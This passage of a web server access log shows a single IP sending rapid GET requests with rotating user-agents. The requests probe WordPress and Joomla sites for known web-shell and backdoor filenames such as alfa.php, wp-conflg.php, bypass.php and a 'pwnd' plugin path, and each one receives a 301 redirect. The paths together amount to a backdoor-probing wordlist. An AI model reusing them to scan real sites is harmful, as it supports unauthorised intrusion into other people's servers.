/wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:43 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:44 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:45 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:46 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:47 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:48 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:49 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:50 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:51 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:52 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:53 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 